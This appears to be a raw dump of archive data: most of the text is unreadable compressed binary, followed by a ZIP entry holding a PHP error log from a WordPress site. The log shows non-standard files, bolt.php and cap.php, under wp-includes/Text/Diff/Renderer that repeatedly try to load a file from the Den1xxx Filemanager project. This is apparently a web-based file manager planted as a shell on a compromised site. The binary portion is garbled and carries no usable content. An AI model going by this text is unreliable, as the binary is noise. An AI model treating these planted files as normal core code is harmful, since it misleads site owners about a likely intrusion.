Mt0;ov7 ƥuC;Aa^:{zQњ!qMݲ !,[PP 4ˡ{ViQDV}-`*|+o3#,!ouu~+ (g] u{<O@04ȭpwI:%ԍ9	;x2Â2|O"C4ZP.}8etw~d*Ty30C&UT8 ]ybMPuGBK	mi 'zjY0RT6A)ZtuZ< i淠pu\QtL^1tFP߃}~#	~#? A:qaA O0y+  ߬3f2xN?QB1f0mN}~.0iMm^W\Zϩjf٧b ?h6=ΩTu	$a`P%OKVO*H۠ҠV5鞰`ƹnDR}ȲCղm7=/W͏"6pZ@% d2C/Dj61>=ͩjvPׯyMvo3df6Abh荰1
FJa]XLTA(1EF:ٯg/9W\n2 ۄ`ޢ6{ٽIgF3E#Z@kM2[Zg#V*|͘3jXL&ilڠwЋY~xiviVs~QևaawGwǲo_7;ێւz%8qysO!n. )ȿ$/	"X87^biX58eMzڑ,}ʩftW]UP=Eksqf;n.ZPD
VJؙ*3}m	isOImLGù6e19C̵QeyȩI2bY\05
֌vx	SW-c>gn-HU8󙡪%F5~{-5ܸ~Ya1ϊraDqc>S*h=cHhTEg\PC+'G&X+lt,֨
kD;]WVa´3SjNqG=j2w;eRSc'=ͅ-:z2;Vv0m.QS@ 8?s|:Rs*p	Kp0jlK9CMi$1Rg[q8nD|.HwZ7wmiTOǎh!18i~exw}c.7=x>\~V
 7ZhL̆@ȷaӟmA(P6%.?u]C|Ti9!&G$73eh٣Ʃn}V֘=%g*6俩nӤp	2ˌ%vw6	jaΫ$7,fdAwMpb,ԅE|GlB.3{,<sqZ}AU>$b>~9u,/7yU3u%S6Nh	SrͲy9	Bzap!.Np|4T׏/?`S1^I=|T$DZ
"u,VbΦmH6	zxG mYеnRpAD&z&U'hp\DRG
-<-'\Sv|SH<В+fWSrDK-Wd5-a
aRNx!2 (5ql0W+|U}_ehY90
2 Z<KMkrxO	,)OokٴVdOPN >n]c= Jw~/ݙ*2%BLнnY F,k&4	OƄߌ&Ll'9>c̄s RX7!Ft'16FvLKr%xhL`\9q4(~qy9k5CV(hVpPh=لXU۬溊V7KAnooBX54˵:X>t24nG8M]ϔZ\K'ZFd8*?{17.%׾gggF<e0̶;j@!c䅏2;fKg\o$iq}ı'PUם;Ma=>.q6*a
VhvxYUnoFԽʕuzɽ>4Gv)%䐭24y_ls Z*(A{dC	P+O.	^Oz2[~IsUr,A30[Yh$7[%/7 y~C	dŋQ1(x@
j	>=->mXhj
Is"xxgQ?Aytҍ	0lQ&p\sgS\.VKa__}/,5r6~>#9:7M2J#j@~i@E,.>琅~"h<C.gX!F<u]kc[H-U?sl6Ofga-D֩ rAx:Z$L_.-aI[@ 22};aEI~;Ό⪵4 \iAY|`!U;¿=EV3ab,OdcEdYGjr>ZYo@yߏ|Obd|)\O5|7
VQ09mub!QL߭\}M3
I.+o:N{LdgE%LκvfcMjs!]uR(ɢHjHJb4WTŽ*)ubᰝ$}6de)2Y&Pl鱐LfaV%ϼV,JfL1J9$M-nqr&)ߢ=+N2%i2=l'K t>Sd.)'I~4}Fjĥ$nDFC+rtL5X#Nd&r:dj٤O&;dj(YlA|b-EkБSZps]O˳pX,]#0h<Ζ|&i,n暅锬ǙJ&JZU2\L<dJ{1<Q&r[N{y!M	)\)ʔ0X7ʝP.YzX=ۛ-0ꬴ>U2	[LvIbd}c1rT}>J_Y<YIrKlW
B'϶ƃpv))XSjη/BrLn+ࡓ7WejF@k?n
dh3N&(V蔒4fBxHLH.q#/2.IdiҩJv*>$SC*ERir7
cnR,%jnl0JҀ6lVRMHɐzܿ͐Y1*t'A@r|:/Pq+@tM5ŅҬvsbaR̿+l0~7+v)w3
5f^nBcb=q>fX6b6(TvR5-RzXYVLl%16ZN?n84éVnVeVi:-,-<V,WH?KuV=B;nnz/+]*fb;ctH.Uʏy2*zz(Z)a0Se q_/x	gꋼ1qR=&T;Zf<u|Ɛ[fS]Fu t@)@̕6#dMrWc+~;:32+\3\⩾Oڬ^I}v[z]hƗRQ>9w\0_ڥ;c[=efܦ۝ev[ZT76rZz*wc~[\5..݊>_7땿WF Ez#\CrϬr%`TRp*{Ru~Q,T]$*zMeÍCT3ΦcPx>|)ϗJL?W./vN\>Ǳb$7׾iSJb 9Gpj~.Cd-58Rj7ۢ_d#k*	#9KGbpe0({gxw^0"LnEJ*4kwwÖ.&X7鏫F;z~hj*t6&ĻygP|VYhL%6FWV{\A+XrUj_|;/L@br$ـ>JJZq";e=;vWdq~Qȸr/"F3;YZ֣P)YQe 0XOz#ͰW@l
dYKto}.uXz0?V =82@>gr	Twk#s&<lQylj-N7LD׻>6=zJ@DHWQa2c[_2vԋod:VX>oj}|^"lH7гn{[`p^fz]R܎U7<}UHdP$}4?MwRmqɧzr[XŊ#o~G	0Լ7<TJ?%r¾oB0*D|Iz^`f]&_lnJ~?iC׎4J+XXKՖ]u*y+R!W]e9ۆZ.F&cIZٴͅ4Um7jGʳT[V{loz*bjiOƏ|%U9_d,\-v݊>cbk׸rբd:zyX3*P:^ZajXzW|x9#;n6*{wHY1y@p6#^(HK(0K!%{YiTÇOrV*BR`5{ݫQq1/nR)Ja/Ɣ:PZFe"/N^(FNlnZ&f
8Ly)yseIG;O`aCf/zǖoMmJ]ʏ3OxYQkK3P5@}:ޓkA|ÓjD!kkdƆ ukѭ7;^eZ|M}V^$Ǎ,wnuZCHSڨ_wz+I
m$3تwy| F|nթ;!mEd2~c&)ZEZޘ.VD5Wr{GNc[kƥI&s\v=E`?47'l4gF8Z0 G^o$[h|>Iljz)DKFg:k&Uݎ1QPȍ(0bFHSa(/ñ=қI52"'8ٟd I )@GׁX;ĳAs`ҭ7`u	mqgzL6I`SHSoͳ`9F,8X'#,))Jn7L6n$>0pɈn	F,J7n6?ӻFmo3V,20KnWDe{AƲ@+2-u]~dLcI2(8; R)>dNn䓥\1tvhhfrx](m4cLr2R¦;^֛ƒP<J!+VqmtR|99oaI Oev ]ۜĢZ|G^LN)8,M癘֪ioi[3'f/ūYX́M;)Y,Ur;xҚen]?R}^ɛm;Pfd`2ʪȅlfo3a44&Xj,5N\#97ج$SCo?[	|8՞֭Xe\yݶFrO:w||
Rjo4ZFS.PwɖޱrIl$rjCzm34ff|Pmjj@џb9ɏd}#J!<xs^!N5KR5j.=;zB/xӥQ^*}FURdҰHoY1$|d|xBŢu^ U,W{X6\9(Wnv:rEKi,Kaa9--------------䧳~6Tb*=HyJ`+/¬`3N徝"&J9R},(7ەB/ȭ7iD=Xaͽ$CF%XCF)1DlkM!C삹X+޿*fPtþ)uqPNVЌz]P#6ߓi.E{"\kEJJf;x'>!nzժ` 23L+_֪zr632(k}o(QζΒd&^әBfKt=$'Q@P招@aJB}(Vp5S8qT+X4,/bn2ὙM 엽2C6?vZnv0TR)/n'ta	Jq>FvdJq8,'FhlPhBڄ̚Ng-NFӛ2_<b|f}s+M.ٴ+Jé06UtK;|r%a/W(rd̮r>ZaS6w	"aG^ZM~tw2Ax]=z'#5`"_\RFz`<8+#с]<F5 T X!G =(PNV$WBs*[EW#Qe1=w[bms7/fA+Eƫ0ނn}o]-P@OHo5(܋ELFl=
I0U'UdyeiFb9&ߏ&&(ƫ*ǻ0wG#0][IQIfPl͒uR0uE UtWlqX+Iҡ*R;^oBJXzno1ܔšW
quꋥǇ(E6},w}Gb$rYtE{IJ00R1|G,EK0ih姫0^yc+:*⬔lNS]I喟_{lsnͲTXW$n-H)n_(: w<S*J}Yi8*!sf
(0с~H8;lG`%4>r^3<s\c3rciXإVQ"%y]qWȆL)S3jkNC=+ XvAlJ 
hE97[ʒfrK{0Lq~8\*鋯8>R֠4 +	Ձ4sUkiT)Ur5.њw:aޟb<\o3T`<YyzTaXlbnXoljTkyQ:ҁ˃bc``7<!luf)	M~dh"0<
^R;2}V;2`##N/Ԁb0&@ɷ3r?TyBNoyyS[}' 71 FS[I"~z^|`05q1H)ـk}r>' y߇lWW
eaı\i͉
<QCwM2ero}x	
Q)-_2OԫNN,x-Eh|hvGc[ M;aFzAx.Pn%HDQުg͡ڌ8ƱM8SeTè%NaUD!Lاv}/e
(bǲ"u*(x(P*Ԃ1. ˓k!V-:/	aCP:+*^^F`h@p@l0
˳f3<j$zMq	||e;lr+@ c	5x2R!$-/O1iDD'#φɃ(ra^v9{._,`8ci%9M*|шgG_kl@G_-2>;Pj/D yir>W=q>Kw
&=V6	%$dO91ʋLaDzR]>Bٚ%v$-h_2 Q̜z ({:%`slAbarb9
b{ףe9 gzҨqh6$ⷽ2LmuudȮ\Pѓuaˢn rP\+Zةv|~g+b.	qSDvV\[>UiYkWS!u]
K\O2l<H	W>X"߱Sࡇ(|΄WFn"ךMi %ȭ^7z.>ɥ|s7mdw&<eJ75֟c)PD$vr\ac(ӫ>u2H_ũ}a?́Լ'I%3N;-pJ@O.vP]ٵ;!^Y4:;mnbĄ"/jK.ƾLyH9j}kt#D2U8Lkd}Ԛ\t+*$(i>fIuKHT'<~B4YHۧ:c'>?ت|Y.@j#@F4!R@ʘ8m
,hAPSJ	}Ӏ8*A!~}difs"t \c	rih'񡁼Vo0?C(Hߛ00
WGG&sn'!F61G㈯Q+6ۭSB`jY|?-śYwNN~?vfa0M@tS(F91e,;YhZ4TFi;b5b+2j8ou(.-Kd#.(=q"T4^*Pc(1焝B Vя ȩ.9e`ԛ 3a U.c@JѮ3kw,S%Fa&(N!@Xofn	ΏjZխSHU9^px`c6I|zI~og@>NX$BkSwf'.ٱ 9sX&'19;eLYN(s;E:\UW=x)njhu;9\6#};UZ}hEQZgXg"j[xT!pI-+7 U\R.5x0Bz΢JI	^e~w@<L-1U{^DA6\BCZ	`wYq}
O(,aǜD2qR-3r|{:WM"+f.k\9Ɖa9:3p>iqƞ&[ɮ
,É	"u.YINBw*r&xOZr{i/z`e	IN԰̓DѤ32w`W6q%	p^H2c&\EL* ıK(Ռ'1\q#(,3lc<:2J<C|]f	DAMQk(0׍:$lK-WB6V
&h2xlKOz*oז Iǰ4"U5Vڅ:Z/2Wx4=YmLL@y٠@%,HԢ`ȔhiZĉ' 
t^_Sq  |\P~rl,`x8&Iꎗk{\$!QUkYN<Ko4?K`ܨccP3}r#ǒCن"	u'j'({0S)|NTY
Y
>#UV b
x{ysymRDP<ɉ.൤+Ep@hJ,F7rq:dQ%ɏ7I!XnnV	y'k^dS65Z%3U	'LNzogS^0C|Dz?p}D&S՝KV+v#B1?t@tQ5ƢbR2^fTxY^עaT%~ter1ڶ,n[nAw?vKюQn\uiqiVeжe>@7]Yhpa;^N.ܙ8aDvWW^ށ¾LTVK2O02c8|	|[	zՖPP2qL{PX6]`KAc"1Za%bMSM8r9,Z!G4+xrSV*֪] ɼs`OM<Z.GTl`3=c8 Qs簦e4l@F `-	E۴	R:mŸK Z8:!尠7^EÔEvy-0o-*OCqAn1A}犄Zm oֲc17p0^+
f]ZSVOZ:၀>*']->|8]!"SlfZs 'I\W/2! &S?9l3٦i|w"=<Vh`4؛SC4xUnwݞi~yKTBRhB+60)x]:lPH
jX3g? -5qOHԄAw #Jw-Z=}gGD[SEf,6w(&AXX.Ls=Q+h:e0:AN`2F?)rhvFMsI_c-q.?F	1j2yq5qB>7?:v^OJ*H/!T@KsF5dQ|)6pG]%!Z2Ɲ^jug*Hp*?YZ|Z57g	PWkyU9d=ja0r@uUK%a)n.*yV #%:n8ZUc=/.ѪZ-B2+G5[j}VHC	B0`p؈^7P$ l3B3Z/s9m3$ry	Mo}^KͳJdoYDB,`$T `Xْz0>p8sM#,9g@̃Kg(N2MPzCgVXKBºGz~,1Q&:jR˚H[:vJ0g'2QP'ℝzZ~BJQмU'WTjTi"h'a~"H ){fk.6Ds}ϻU>NuPy@_Ig+vD;Z[w7ߙx	9tsbmasӖE8OfV 8zvj5;-f7YԍX/q?:e:a25P,NfW`͊O8c,DpyLD@],rI&;BI'%p;BwGhwG|p=.5F S1 811/n6ĎP1dhJ~;h<6zM<GQpLmV:Á
ӤFM1>?L*3s]EdX90XF	#$!xc2xqGG6ƅac
lu(!5^`8NF,с4t΄DQ4UNZgU@PBMQ32Pe:z*8dy-qt-z*03VfB-/lEje<i>({E
YE3ECǅK U&m:Imi,Ҙ⍳t87`nJ=S"w~'֝_;ݠ*p)ihisGlqFD)FmmH`B&*F<-qׄE-ӏ7ژBɗ[@1q4쟥~,<kXUb6x𘘚-z촠Q% #SB-;4j.AFy͉L5ᶶwC1OKj?bP@Bhiq'2\=m+JD"^<#::5]}TQ0G@qT.Ocp"b&0s|piz"CaK24al2ܦp 5zĩ)@* 2^ˉq5FY	tݩ-z\Gbthr=A0ohP:А =r%.F`]԰%0X (N2*G-sA F84++HwD(滆&> p܈ĞeA/	^Nd	Bi'cw"#+"k\Ck:{4A׎p[{WhNY\^
bl$o]$HM.,9߳c X	ȵ?bهl{K_+"eJpJUz?'nnZEikxA/pfVVPQ']u1B9v9'	T5&%xw*aipbrDsS$pZh
Ɔq;HӖØ&]{7xv؛B5
{UwR,cjE	*D}oPIﳧ[l%6]-{+]^=wL6ڹlɚtLĂ%ӼPxi
XTyŤ}	TZ`nE*cW S]^x%bGOȣZG.Wo@u&J%<+ϔMS->k[Bh7@z IE{C5`;N*ׁs--|@jdpR:Xd,~{`x-:w:@! onǦ
zt 3Y`>>f#U ڡ+ݬ l/fŁdNj}Q<|IТ$/]iA9Kf,,
	B=H8ÓKscݨ|GV,Y)C.8~
V+I^@e7 "Æ@'1!IjQ@a77e\qefiCԏR*ϒ50j-ph2l`֣@hԈQυ
市;wBM@N5*Dm-qׄGxFhr6$pYVPYNW{qDM!\5=`? we!	@ͦh
m<SO]HLm5,abb`HB,Oiu( b1zgvnSiS5(@:l%9lhZLB~r!{xR{O$Se!rU8eDFڽIʛY:LgL!j@gڈ1si|k!y狞fSڔAӪyVU*r3UuWchNZ)>Q'+}5y1s&h7teI`Ctya<s1.4YncFm Ϳ0I8e	,2>zOUjG$&5-M)TQ^`f~Aoy81;F&ߢvq,r.WKF)֞!6jiJMLP2O?ω0b~)W-}A]+=$I	`abIvwaj砌;l4صq %<@'kHA<CR23a<'>K520VL`j-1_M:QY^J *6PQFs7G7S}cOJ>-i~n5ձ23ǂ7@gő/-R>|: :iޯ%)[M;ZXB{	-R7͑xwW+h MaKO(I)f$x@բ݆;V=$uuGW,ZlSqi`r>lF"AVkMp)tX=  ,7fޠ a\8|a 堼h/o(xDD/{|Y[G%}-I[뤣jz8ta^x=8G?`R=FsJp:&ud	?Qj7 ݥH)TuPteh,|&6GzɁG1q<<gΔˀAhͥ"88*M3K3^]	AND8v"MffB#PQ:wnN:"PUTK'bʆ[$=9kDܥj<aupb	® ٵG7x  i,v5޷~%mpAcL -q+Cwn(;N{p 8OTr6L,S =g֝7lz[(Ӟj6(f9	ڠ։ٍF^ښAux~g =m]m`@0M}Gƿ%ԓmǓ~T"ۆO*g'ˢ>;"/.̺Gi..г_gPt{YY0[0DuX{ĥ_)<*vU^2__LPK,&i#p#%Q<T7Fk\Cuh훸Rs:exVlOxxV!S4ebP^5A3OVfT2MV5y bbg[ZDv鱮Zqjj:֭5/g=`O}V3eX+ӘAM&ޞz?8'aXU6np
K 3[BYRtY8q`}\{d?$ݛDZ%ǞK#Go@'AA@B5<[|E}>$[
4Hi*

=/ I |T [$YRSvLRᐤLhf您> "Cch"ƨ3vȀyL pk/bB,@IpĶ0#qСC&hʺvw[JXIM qC7f1kAgt!T9z.{q)od)q
b}lAV%t:^ I@ү.CerD 3fn	n'{8'x5[x{"GBCx`"pz`\CY@lބV"~=A;J}++Sа=?$	"MqcaFNn/]X ȹ9'̤M1:%3q+|<RT:hOg<ϖx3D>

ى=dE`/ʌdE	L=lԣn&8klB#f6@	c(Zf`8Qw +
FKաe	agUx3krwPup}~K[t|ӎ<vԟVf'2Xc2tr^?XvM>)m{}a#.-.
}|Y0ʇjOXE,Ht*t:e΋΁Ԅ]$._(J˄s1]_<W~.Q|b<v2qo_`qplj+	x}=Lg$:a@0{2X] ub`b3MS1{MۍkTgs1=P86!P&g?ޒub{9F|h!	kI;oMNf;1}w'aէw:}׍/A`gu2ftթT+yƴ3YkoZT+L]?9fʩ'*8]
S3S_oWǩOf6o!{脠5Nq|2)/?_~| @ PK     |\FI  I  	  error_lognu [        [25-Jun-2026 02:42:09 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:53 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:55 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:49 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:07 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
